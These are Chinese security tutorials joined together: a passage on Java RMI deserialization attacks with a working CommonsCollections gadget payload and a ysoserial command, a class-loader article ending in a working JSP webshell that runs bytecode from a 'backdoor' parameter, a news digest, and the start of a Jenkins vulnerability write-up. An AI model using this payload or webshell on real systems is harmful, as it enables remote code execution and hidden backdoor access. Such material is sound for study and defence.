因为在整个RMI机制过程中，都是进行反序列化传输，我们可以利用这个特性使用RMI机制来对RMI远程服务器进行反序列化攻击。
但实现RMI利用反序列化攻击，需要满足两个条件：
1、接收Object类型参数的远程方法
2、RMI的服务端存在执行pop利用链的jar包
这里我们接着使用上面我们的案例代码进行讲述修改，同时在RMIServer类中commons-collections-3.1.jar包
首先接收Object类型的参数，所以我们将HelloInterface接口定义的hello方法中的参数类型进行改写
再定义一下Test方法
我们的RMI服务端不需要更改，只需要改下为RMI客户端，其中Test方法中的Object类型参数导入恶意的commons-collections-3.1.jar包pop利用链方法，然后发现成功执行弹出计算器。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.*;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args){
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); // 寻找RMI实例远程对象
System.out.println(h.Hello("run......"));
h.Test(getpayload());
}catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key", "xiaoyang");
Map transformedMap = TransformedMap.decorate(innermap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
## 0x05 RMI客户端攻击RMI注册中心
在讲这个攻击场景之前，我们可以来看下RMI服务端的触发处。
在RMI过程中，RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch)
最终实际是sun.rmi.registry.RegistryImpl_Skel#dispatch来进行处理，我们可以定位其查看重要逻辑代码。
switch(var3) {
case 0:
try { //bind方法
var11 = var2.getInputStream();
// readObject反序列化触发
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1: //list()方法
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try { // look()方法
var10 = var2.getInputStream();
// readObject反序列化触发
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try { // rebind()方法
var11 = var2.getInputStream();
//readObject反序列化触发
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try { //unbind()方法
var10 = var2.getInputStream();
//readObject反序列化触发
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
这里我们可以得知，Registry注册中心能够接收bind/rebind/unbind/look/list/请求，而在接收五类请求方法的时候，只有我们bind，rebind，unbind和look方法进行了反序列化数据调用readObject函数，可能导致直接触发了反序列化漏洞产生。
而我们往下跟踪这五类方法请求，发现也是在RegistryImpl_Stub中进行定义。
public Remote lookup(String var1) throws RemoteException, NotBoundException {
synchronized(this.bindings) {
Remote var3 = (Remote)this.bindings.get(var1);
if (var3 == null) {
throw new NotBoundException(var1);
} else {
return var3;
}
}
}
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(var1);
if (var4 != null) {
throw new AlreadyBoundException(var1);
} else {
this.bindings.put(var1, var2);
}
}
}
public void unbind(String var1) throws RemoteException, NotBoundException, AccessException {
checkAccess("Registry.unbind");
synchronized(this.bindings) {
Remote var3 = (Remote)this.bindings.get(var1);
if (var3 == null) {
throw new NotBoundException(var1);
} else {
this.bindings.remove(var1);
}
}
}
public void rebind(String var1, Remote var2) throws RemoteException, AccessException {
checkAccess("Registry.rebind");
this.bindings.put(var1, var2);
}
针对这个攻击场景，我们可以用ysoserial中的RMIRegistryExploit.java进行分析讲述，因为这块代码比较多，我将RMIRegistryExploit.java分为三个模块来讲解。
RMIRegistryExploit.java的常见使用命令如下：
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 目标地址 端口号 CommonsCollections1 "calc"
很多时候，我们都是直接使用上面这种命令来进行RMI漏洞服务测试，其实本质就是通过bind请求攻击RMI注册中心。我们先看看其模块代码来进行分析。
TrustAllSSL模块
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
这段TrustAllSSL代码主要是进行SSL证书认证过程，我们不必深入研究理会。
main函数模块
public static void main(final String[] args) throws Exception {
// 接收参数，如目标ip地址，端口号和需要执行的命令。
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
// 用于访问RMI注册表服务，返回远程调用对象
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
// 通过class.forName()加载
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// 测试RMI注册表是否为SSL连接，如果连接失败时升级到SSL连接的rmi请求
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// 调用exploit函数
exploit(registry, payloadClass, command);
}
这段main函数主要为加载payload值 CommonsCollections1，然后我们使用exploit函数去调用。
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
// 获取payload进行命令执行
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
// 创建动态代理，且变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
// 使用bind方法请求调用remote对象
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
这里我们得知，ysoserail中的RMIRegistryExploit.java使用了远程代理机制，通过sun.reflect.annotation.AnnotationInvocationHandler对remote对象进行封装，然后通过bind方法将我们的remote对象进行请求发送。如果对ysoserail远程代理机制不是很了解的，可以看下我上篇[JAVA安全基础（三）--java动态代理机制](https://xz.aliyun.com/t/9197 "JAVA安全基础（三）-- java动态代理机制")
## 小结
我们简单介绍了下RMI服务机制流程和ysoserial为例分析攻击RMI注册中心的场景，这仅仅只是针对RMI服务本身的攻击利用，后面更深入的还会结合JRMP和JDNI机制来进行分析讲解。如果文章有什么讲述不清或者文笔错误的话，欢迎大家指出。
## 参考链接
<https://www.cnblogs.com/pihaochen/p/11020596.html>
<https://xz.aliyun.com/t/9053>
<https://xz.aliyun.com/t/7930>
<https://xz.aliyun.com/t/6660>
<https://xz.aliyun.com/t/7079> | 社区文章 |
# Java安全——JVM类加载器
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Java类加载机制在Java安全知识体系中有着非常重要的地位，早在之前分析Shiro反序列化漏洞利用，以及学习蚁剑Java马，都和Java
ClassLoader打过交道。笔者打算从把ClassLoader的原理、使用场景、自定义方式等多个方面剖析类加载器在Java安全中设计到的知识。
## 0x01 ClassLoader 简介
Java语言需要把代码编译成class文件，才能用JVM加载执行，那么ClassLoader就是负责将class文件加载到内存，生成对应的类。
### 0x1 ClassLoader类加载流程
从上图中可以看出ClassLoader的主要职能，将字节流加载到内存，并使用defineClass加载到JVM生成可以被调用的类。Java源码编译之后生成对应的字节码，字节码的存储形式不只局限于文件，还可以使用访问数据库，URL请求的方式进行获取。存储的字节码还可以使用加密算法进行加密，提高存储安全性。
### 0x2 常见类加载方式
在之前的《Shiro 反序列化漏洞的一些思考》文章中有提到，两种常见的类加载方式。
1.Class.forName 不能加载原生类型，但其他类型都是支持的
2.Classloader.loadclass 不能加载原生类型和数组类型，其他类型都是支持的
这两种类加载方式虽然在实际过程中有着区别，但是其底层都是使用ClassLoader实现类加载机制的。ClassLoader的加载原理并不复杂，相对复杂的是ClassLoader逻辑父节点和真实父类概念上的理解。逻辑父节点是为了双亲委派机制设计的，这样在类加载的时候可以通过parent属性找到上级ClassLoader进行加载。
### 0x3 获取ClassLoader
ClassLoader loader = null;
loader = Thread.currentThread().getContextClassLoader();//通过当前线程获取
loader = ClassLoader.getSystemClassLoader();
loader = this.getClass().getClassLoader();//通过已加载class获取
大多数时候采用第一种方式获取ClassLoader，有时第三种方式会获取的值为null
## 0x02 ClassLoader 类关系及类结构
笔者本小节主要介绍ClassLoader的类结构以及类关系，ClassLoader在代码实现上是抽象类。这就意味着在程序中ClassLoader应该有很多的子类，那么ClassLoader及其子类中有什么关键类方法和类属性，在这一小节中进行介绍。
### 0x1 类关系
类关系问题第一次遇到还是在分析Shiro反序列化的时候，当时使用Tomcat容器启动的Shiro应用，在具体调试过程中发现WebappClassLoaderBase这个Classloader子类继承了URLClassLoader，一开始对于这种想象是不能够理解的。于是对ClassLoader、URLClassLoader、AppClassLoader等概念产生了混淆，笔者根据之前师傅们的研究总结了他们之间的关系，如下图所示
URLClassLoader是类加载机制双亲委托机制中最靠近子类的父类。ExtClassLoader、AppClassLoader、WebappClassLoaderBase等都继承自URLClassLoader。
public class Mytest{
public static void main(String[] arg){
ClassLoader classloader = Mytest.class.getClassLoader();
System.out.println(classloader);
ClassLoader classloader1 = classloader.getParent();
System.out.println(classloader1);
ClassLoader classloader2 = classloader1.getParent();
System.out.println(classloader2);
}
}
运行结果如下所示，我们可以发现ExtClassLoader的父类加载器为null，原因是BootStrapClassLoader由C实现，无法载Java代码中体现其类之间的关系，但是在实际使用过程中ExtClassLoader确实会委托顶级类加载器BootStrapClassLoader进行类加载，代码实现如下
查看ClassLoader类中的loadClass方法，其中有一块逻辑判断了parent是否为null，如果为null就直接调用findBootstrapClassOrNull方法。
### 0x2 类方法及属性
在ClassLoader及其子类中有几个比较重要的方法以及属性。ClassLoader中主要实现了loadClass方法，该方法采用双亲委派机制。
public abstract class ClassLoader {
private final ClassLoader parent;
public Class<?> loadClass(String name) throws ClassNotFoundException {}
protected Class<?> findClass(String name) throws ClassNotFoundException {}
protected final Class<?> findLoadedClass(String name) {}
protected final Class<?> defineClass(byte[] b, int off, int len){}
protected final void resolveClass(Class<?> c) {}
}
1.loadClass(String)方法加载指定的类，不建议用户重写
2.findLoadedClass(String) 方法检查这个类是否被加载过
3.findClass(String) 方法用来加载类
4.defineClass(byte[] b,int off,int len)方法是用来将byte字节流解析成JVM能够识别的Class对象
5.resolveClass(Class)
方法用来链接指定的类，主要是对字节码进行验证，为类变量分配内存并设置初始值同时将字节码文件中的符号引用转换为直接引用
public class URLClassLoader extends SecureClassLoader implements Closeable {
private final URLClassPath ucp;
}
URLClassLoader类中的ucp属性一般存放类加载路径，在双亲委派机制中每一个ClassLoader类都会对应它负责的加载路径。再者比较重要的是ClassLoader类中的关于类加载的方法。
## 0x03 双亲委派机制
双亲委派机制是Java类加载的核心，该机制一定程度的保证了类加载的安全性。简单来讲这个机制就是“当有载入类的需求时，类加载器会先请示父加载器帮忙载入，如果没有父加载器那么就使用BootStrapClassLoader进行加载，如果所有的父加载器都找不到对应的类，那么才由自己依照自己的搜索路径搜索类，如果还是搜索不到，则抛出ClassNotFoundException
### 0x1 双亲委派结构
在Java
JDK中的类加载器结构如下图所示，BootstrapClassLoader为根加载器、ExtClassLoader为扩展类加载器、AppClassLoader为应用类加载器。其结构如下所示，需要注意的是他们这几个类之间的关系为依赖关系，并不是继承关系。
其中User1ClassLoader可以为应用自己设计的类加载器，并设置AppClassLoader为父加载器，这样就可以使用双亲委派机制。
### 0x2 代码实现
那么关于双亲委派机制代码上的实现也很简单，根据功能描述写对应的if else分支即可。一般在ClassLoader子类中
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) { //判断是否已经加载该类
long t0 = System.nanoTime();
try {
if (parent != null) {//如果有父类，尝试让父类去加载
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);//如果没有父类，尝试使用根装载器加载
}
} catch (ClassNotFoundException e) { }
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);//这块需要自定义，比如自己写的类装载器就可以在这里实现类装载功能
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);//链接已经装载的类
}
return c;
}
}
## 0x04 自定义类加载器
同一个类代码如果被不同的类加载器加载，那么在当前JVM中他们是两个不同的类。
### 0x1 遵循双亲委派机制
1.继承java.lang.ClassLoader
2.重写父类的findClass方法
loadClass方法已经实现了双亲委派功能，如果我们再去覆盖loadClass函数就会破坏双亲委派机制。并且JDK已经在loadClass方法中帮我们实现了ClassLoader搜索类的算法，当在loadClass方法中搜索不到类时，loadClass方法就会调用findClass方法来搜索类，所以我们只需重写该方法即可。
### 0x2 破坏双亲委派机制
双亲委派机制主要依赖于ClassLoader类中的loadclass函数实现逻辑，如果直接在子类中重写loadClass方法，就可以破坏双亲委派机制。目前存在的一些组件，其类加载机制不符合双亲委派也很正常。那么可能有小伙伴就很迷糊了，到底是要遵守还是要破坏呢？应该根据需求，特殊情况特殊对待，大佬们也总结过几种应用场景，梳理如下
**1\. Tomcat类加载机制**
首先说明双亲委派机制的缺点是，当加载同个jar包不同版本库的时候，该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后，不能有效的加载不同版本库。为了解决这个问题，Tomcat放弃了双亲委派模型。
当时分析Shiro反序列化的时候，遇到了Tomcat的类加载器重写了loadClass函数，从而没有严格按照双亲委派机制进行类加载，这样才能实现加载多个相同类，相当于提供了一套隔离机制，为每个web容器提供一个单独的WebAppClassLoader加载器。
Tomcat加载机制简单讲，WebAppClassLoader负责加载本身的目录下的class文件，加载不到时再交给CommonClassLoader加载，这和双亲委派刚好相反。
**2\. OSGI模块化加载机制**
不再是双亲委派的树桩结构，而是网状结构，没有固定的委派模型，只有具体使用某个package或者class时，根据package的导入导出的定义来构造bundle之间的委派和依赖。这块内容也打算单独写，vCenter部署及类加机制很大程度上依赖该技术，这里先挖个坑。
**3\. JDBC类加载机制**
这里双亲委派的缺点是父加载器无法使用子加载器加载需要的类，这个使用场景就在JDBC中出现了。
以往JDBC的核心类在rt.jar中，由根加载器加载，然而现在核心类在不同厂商实现的jar包中，根据类加载机制，如果A类调用B类，则B类由A类的加载器加载，这也就意味着根加载器要加载jar包下的类，很显然这一操作违背了双亲委派机制。
为了让父加载器调用子加载器加载需要的类，JDBC使用了Thread.currentThread().getContextClassLoader()得到线程上下文加载器来加载Driver实现类。
### 0x3 加载加密字节码
为了更深入的了解ClassLoader的工作流程，打算自己写一个加载Class密文件。首先编写加解密函数，将编译好的class文件通过encryptfile函数加密。
package myclassloadertest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
public class FileUtils {
private static final int ZERO = 0;
private static final int ONE = 1;
private static String derectory ;
private static String key = "aaaabbbbccccdddd";
private static String ivParameter = "AAAABBBBCCCCDDDD";
public FileUtils (String path){
derectory = path;
}
public static byte[] doFile(int code, File file, String key, String ivParameterm, String filename) throws Exception {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(
file));
byte[] bytIn = new byte[(int) file.length()];
bis.read(bytIn);
bis.close();
byte[] raw = key.getBytes("ASCII");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec iv = new IvParameterSpec(ivParameterm.getBytes());
if (0 == code) {
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
} else if (1 == code) {
cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);
}
byte[] bytOut = cipher.doFinal(bytIn);
File outfile = new File(derectory + "/" + filename);
BufferedOutputStream bos = new BufferedOutputStream(
new FileOutputStream(outfile));
bos.write(bytOut);
bos.close();
return bytOut;
}
public static void encryptfile(File file, String key, String ivParameter, String filename) throws Exception {
doFile(ZERO, file, key, ivParameter, filename);
}
public static byte[] decryptfile(File file, String key, String ivParameter, String filename) throws Exception {
return doFile(ONE, file, key, ivParameter, filename);
}
public static byte[] loadfile(String name) throws Exception {
File file = new File(derectory + name.replace('.', '/') + ".class");
return decryptfile(file, key, ivParameter, "decrypt_tmp_file");
}
public static void main(String[] args) {
try {
File file = new File(derectory + "myclassloadertest/Test.class");
String fileName = "myclassloadertest/TestCrypt.class";
encryptfile(file, key, ivParameter, fileName);
} catch (Exception e) {
e.printStackTrace();
}
}
}
自己编写的classloader只需要使用其中loadfile函数就可以找到文件并自动解密。自定义ClassLoader代码如下
package myclassloadertest;
public class MyClassLoader extends ClassLoader{
private FileUtils fu;
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader classloader=new MyClassLoader("mypath");
Class<?> classx = classloader.loadClass("myclassloadertest.Test");
System.out.println(classx);
}
public MyClassLoader(String path){
fu = new FileUtils(path);
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> c = findLoadedClass(name);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();//获取父装载器
if (parent != null){
try {
c = parent.loadClass(name);//实现双亲委派机制
}catch (ClassNotFoundException x){}
}
if(c == null){
try {
byte[] classData = fu.loadfile(name);//获取字节码
c = defineClass(name,classData,0,classData.length);//加载类
return c;
} catch (Exception e) {
e.printStackTrace();
}
}
}
return c;
}
}
在实验的过程中要将原来的Test.java删除，这样JDK
AppClassLoader就找不到Test类，从而使用FileUtils加载密文件。自定义的ClassLoader也有parent节点，这是因为在初始化加载器的时候会调用父类ClassLoader中的构造方法，该方法中包含着parent属性赋值等操作，如下图所示
那么定义过自己的类加载器后，加载器之间的关系如下所示，MyClassLoader指定了自己的父加载器为当前类的加载器。
## 0x05 类加载器在冰蝎、 蚁剑木马中的应用
在网络安全领域中类加载器也发挥着重要的作用，ClassLoader加载字节码的功能可以有效的绕过静态查杀和流量查杀。
由于一句话木马的历史悠久，对一句话木马的防护也多种多样。市面上也出现了很多安全防护机制，一类基于文件特征码检测；另外一类基于网络流量特征检测。
如果单纯的依靠一句话木马进行控守和命令执行，流量特征较为单一，比较容易识别。流量加密虽然能够绕过网络流量监测，但是木马目标上落地后因其代码特征很容易被查杀软件杀掉。
因此可以使用ClassLoader的动态加载字节码的功能，让无害功能落地，动态的加载来自网络中的加密字节码。既能绕过流量监测，也能绕过杀软查杀。其中用到的类加载器功能较为简单，只需调用defineClass加载解析字节码即可。
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter("backdoor");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
上述代码定义了U类加载器，收到来自http协议中backdoor参数数据后使用g方法加载，并通过newInstance的方式创建对象后调用equals方法。关于木马如何使用相对来说更简单了，只需要编写一个恶意类，实现equals方法，该方法中包含要执行的代码。具体可参考<https://xz.aliyun.com/t/7491>
## 总结
通过系统的学习ClassLoader源码及应用，解决了之前在分析Shiro等反序列化漏洞以及木马编写中遇到的一些问题。自己编写过自定义类加载器，使得笔者对双亲委派机制有了更深刻的理解。写到这里之前挖的类加载器的坑就这么给填平了，如有问题多多指正。
## 参考文章
<https://www.geekby.site/2021/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-4/>
<https://xz.aliyun.com/t/9050>
<https://zhuanlan.zhihu.com/p/31182000>
<https://xz.aliyun.com/t/9002>
<https://paper.seebug.org/1441/>
<https://xz.aliyun.com/t/7228>
<https://xz.aliyun.com/t/7491>
<https://blog.csdn.net/javazejian/article/details/73413292>
<https://blog.csdn.net/huzecom/article/details/105232922>
<https://www.cnblogs.com/hollischuang/p/14260801.html>
<https://www.jianshu.com/p/09f73af48a98> | 社区文章 |
# 1月20日安全热点 - APT组织“黑山猫”/国内特大搜索黑产案
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 资讯类
潜伏多年的黎巴嫩国家 APT 组织“黑山猫”浮出水面
<https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf>
特大搜索黑产案曝光：两年赚了7000万
[https://mp.weixin.qq.com/s?__biz=MzI5ODYwNTE4Nw==&mid=2247483949&idx=1&sn=e641765d7dbe5e624d68aff322bb16b1&chksm=eca20dc1dbd584d7a87a67a75dfbbd3085c1ded2fc775ceaa6a75d6e7f966927ff82c091c54f&mpshare=1&scene=1&srcid=01192x1McLuO2zrxQbArsM5y#rd](https://mp.weixin.qq.com/s?__biz=MzI5ODYwNTE4Nw==&mid=2247483949&idx=1&sn=e641765d7dbe5e624d68aff322bb16b1&chksm=eca20dc1dbd584d7a87a67a75dfbbd3085c1ded2fc775ceaa6a75d6e7f966927ff82c091c54f&mpshare=1&scene=1&srcid=01192x1McLuO2zrxQbArsM5y#rd)
Triton恶意软件利用Schneider Triconex SIS 控制器中的0day漏洞
工业巨头Schneider发现Triton恶意软件可利用Triconex Safety Instrumented System
(SIS)控制器中的一个0day漏洞来攻击重要的基础设施组织
<http://securityaffairs.co/wordpress/67957/malware/triton-malware-zero-day-sis.html>
OnePlus证实：多达40,000名客户受信用卡breach影响
<https://thehackernews.com/2018/01/oneplus-credicard-hacking.html>
新的DRIDEX变体出现
> [New Dridex Variant Emerges With An FTP Twist](https://threatpost.com/new-> dridex-variant-emerges-with-an-ftp-twist/129546/)
chaiOS漏洞可以通过简单的链接在任何iPhone和MacOS上使iMessage App崩溃
<http://securityaffairs.co/wordpress/67937/hacking/chaios-bug.html>
## 技术类
教你如何编程利用 Spectre 漏洞
<https://blog.fortinet.com/2018/01/17/into-the-implementation-of-spectre>
关于强化学习的 Mobile Edge 缓存的安全性
<https://arxiv.org/pdf/1801.05915.pdf>
Nessus在Maltego扫描数据可视化
<https://www.securifera.com/blog/2018/01/18/nessus-maltego/>
Struts和DotNetNuke服务器挖矿漏洞
<https://blog.trendmicro.com/trendlabs-security-intelligence/struts-dotnetnuke-server-exploits-used-cryptocurrency-mining/>
自动化VMWARE RPC请求嗅探
<https://www.zerodayinitiative.com/blog/2018/1/19/automating-vmware-rpc-request-sniffing>
Vegile – 用于Linux系统后期开发的工具
<https://www.kitploit.com/2018/01/vegile-tool-for-post-exploitation.html>
病毒名称检测工具
杀毒软件只负责查杀，每个杀毒厂家对于病毒的起名却各不相同，这个工具可以帮助你，如何找到一个病毒的名字。
<http://struppigel.blogspot.co.uk/2018/01/interpreting-antivirus-detection-names.html>
Dispatch是一个用于部署和管理无服务器样式应用程序的框架。
<https://github.com/vmware/dispatch>
Net Guard — 利用ARP协议检测连接到网络的未知设备
<https://github.com/joarleymoraes/net_guard>
Enabling debug-uarts on DFU-like iBoot
<https://nyansatan.github.io/dfu-uart>
DarkComet上传漏洞
<https://pseudolaboratories.github.io/DarkComet-upload-vulnerability/> | 社区文章 |
**作者：Orange Tsai
来源：<https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/> 相关阅读：[Hacking Jenkins Part 2 - Abusing Meta Programming for
Unauthenticated RCE!](https://paper.seebug.org/818/ "Hacking Jenkins Part 2 -Abusing Meta Programming for Unauthenticated RCE!")**
在軟體工程中, [Continuous
Integration](https://en.wikipedia.org/wiki/Continuous_integration) 及
[Continuous Delivery](https://en.wikipedia.org/wiki/Continuous_delivery)
一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins
是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的
CI/CD 應用, 根據 Snyk 在 2018 年所做出的 [JVM 生態報告](https://snyk.io/blog/jvm-ecosystem-report-2018-tools) 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!
對於 [紅隊演練(Red Team)](https://devco.re/services/red-team) 來說, Jenkins 更是兵家必爭之地,
只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE
所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!
這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:
* [CVE-2018-1999002 - Arbitrary file read vulnerability](https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914)
* [CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin](https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915)
* [CVE-2018-1999046 - Unauthorized users could access agent logs](https://jenkins.io/security/advisory/2018-08-15/#SECURITY-1071)
* [CVE-2018-1000861 - Code execution through crafted URLs](https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595)
* [CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins](https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08)
* [CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins](https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08)
* [CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins](https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08)
其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點,
這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析([Jenkins
任意文件读取漏洞分析](https://cloud.tencent.com/developer/article/1165414)), 他們也成功的展示從
[Shodan](https://www.shodan.io/search?query=jenkins) 找到一台未修補的 Jenkins
實現任意讀檔到遠端代碼執行取得權限的過程!
但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins
所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇,
真的可以光從隨便一個網址去達成代碼執行嗎?
針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤,
進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力([Jenkins
Patch](https://github.com/jenkinsci/jenkins/commit/47f38d714c99e1841fb737ad1005618eb26ed852)
及 [Stapler
